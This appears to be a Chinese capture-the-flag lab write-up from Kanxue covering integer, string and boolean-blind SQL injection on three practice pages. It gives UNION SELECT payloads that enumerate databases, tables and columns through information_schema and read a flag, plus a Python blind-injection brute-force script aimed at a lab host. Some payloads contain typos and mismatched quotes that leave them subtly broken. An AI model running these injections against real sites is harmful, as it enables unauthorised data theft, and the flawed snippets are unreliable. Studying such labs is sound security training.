看雪-2_13_sql_1100
0x01 系统工具
- 系统:
MacOs 22.5.0
- 工具:
firefox
、burpsuite2022
0x02 实验目标
- 有黑客在尝试拖库
- SQL注入漏洞分析与实操讲解
0x03 具体步骤
1.php
整数型SQL注入
训练、2.php
字符型SQL注入
训练、3.php
盲注型SQL注入
训练这三个案例目的均为获取
数据库中的数据
,可以从以下5步
获取结果- 判断
注入位点
、判断select列数
、查库名
、查表名
、查列名
- 判断
1.php 整数型SQL
- 判断
注入位点
使用and 1=1
和and 1=0
页面是否一致判断是否存在注入位点
and 1=1
如下
and 1=0
如下
界面不一致,说明存在注入点
- 判断
select列数
使用order by
确认列数(按第几列排序),根据反馈结果
确认列数看到有
三列
,查数据库信息
可以通过这三列获取 - 查
库名
- 在sql中我们查询
database
语句为select * from *** where id =1
那么拼接后的语句可以写为?id=1 union select 1,2,database()
id=1
不显示数据id=0
正常显示- 说明使用
id=0
,可以保证把数据库位置
让出来,让数据显示,需要判断哪些列在前端
展示,最后查到库名
为ctf
- 在sql中我们查询
- 查
表名
- 通过
information_schema
查询元数据,获取表名,列名
但不包含用户的数据表信息、要注意我们表有好多个,但是我们把多个表合并为一行
显示需要用到函数group_concat(table_name)
- 拼接后的
URL
如下 ?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'
- 查询到表名信息:
answer,emails,referers,uagents,users
- 根据经验判断哪个表最
敏感
:answer
- 根据经验判断哪个表最
- 通过
- 查`列名
- 通过
information_schema.columns
获取ctf
库answer
表的列名
,还需要把多个列合并到一起group_concat(column_name)
查询列
的URL
如下?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'
- 获取列名为
flag
- 通过
- 查结果
- 根据
库(ctf)
、表(answer)
、列(flag)
查询出结果
?id=0 union select 1,2,flag from answer
- 根据
2.php 字符型SQL
如果能获取源码的情况下,直接阅读源码是最有效率的
注释不可用的情况下,-- - 是最有用的。
- 判断
注入位点
and 1=1
和and 1=0
发现界面一致,查看源码使用
''
过略,前端输入所有数据后端全部使用’',使用’#
方式过略
- 判断
select列数
- 使用
URL
id=1’ order by 3#
查询列数
- 使用
- 查
库名
?id=1‘ union select 1,2,database()#
- 查
表名
?id=0’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
- 查
列名
-?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer'#
- 查结果
?id=0’ union select 1,2,flag from answer#
3.php 盲注型SQL
-
当出现类似
true
,false
回显表示布尔盲注,如下图查询有结果
-
查询
无结果
-
and 1=1
表示查询有结果
-
当出现
and 1=0
为查询无结果 -
像这种情况,按照如下思路:
- 在没有
效据回显
的情况下,可以存在不同的页面
内容回显
- 通常
逐个爆破猜解
,效率偏低
- 思路:利用
回显
的不同推测SQL语句执行的结果
是True还是False - Payload:
or select * from users where id='1' and (select length(database()))=1#
- 在没有
-
编写脚本
- 使用
python
写,有一些盲注常用函数left(a,b)
从左侧截取a的前b位
:left(database(),1)>'s'
substr(a,b,c)
从b
位置开始,截取字符串a的c长度
mid(a,b,c)
从位置b
开始 ,截取字符串a
的c位
ascii()
将某个字符转换为ascii
值:ascii(substr(user),1,1))=101#
- 围绕功能点
- 判断
注入位点
- 判断
select列数
- 查
库名
- 查
表名
- 查
列名
- 结果
- 判断
- 使用
0x04 POC
import requests
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select database()),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(coulmn_name) from information_schema.columns where table_name='answer'),%s,1))=%d"
url = "http://46b298dd-c0cd-4710-bcba-e21391d5d64f.node.kanxue.com:81/3.php?id=0 or ascii(substr((select group_concat(flag) from answer),%s,1))=%d"
result = ""
for i in range(1,100):
for j in range(33,127):
payload = url % (i,j)
resp = requests.get(payload)
if "查询" in resp.text:
result += chr(j) # ascii码 转为 字符
print(result)
break
print(result)
%s
表示字符串输入,%d
表示整数输入,用i、j
构造payload
,通过查询库名
,表名
,列名
,最后查询flag
来逐步循环获取结果,sql语句
和前两种
注入基本一致,这里直接使用select
,没有union select限制列数
0x05 小结
union select
有回显,可以看到某些字段的回显结果union select
操作过程- 猜解出字段数目
union
连接两个select
,让两个语句同时执行,但需要左边的列数
与右边的列数
相等union select
才能正确执行
- 猜测
表名
,字段名
- 注入得到结果
- 猜解出字段数目
- 最方便的注入方式
union语句
可以填充查询结果,并额外执行一次查询
字符串SQL
,使用’#
方式过略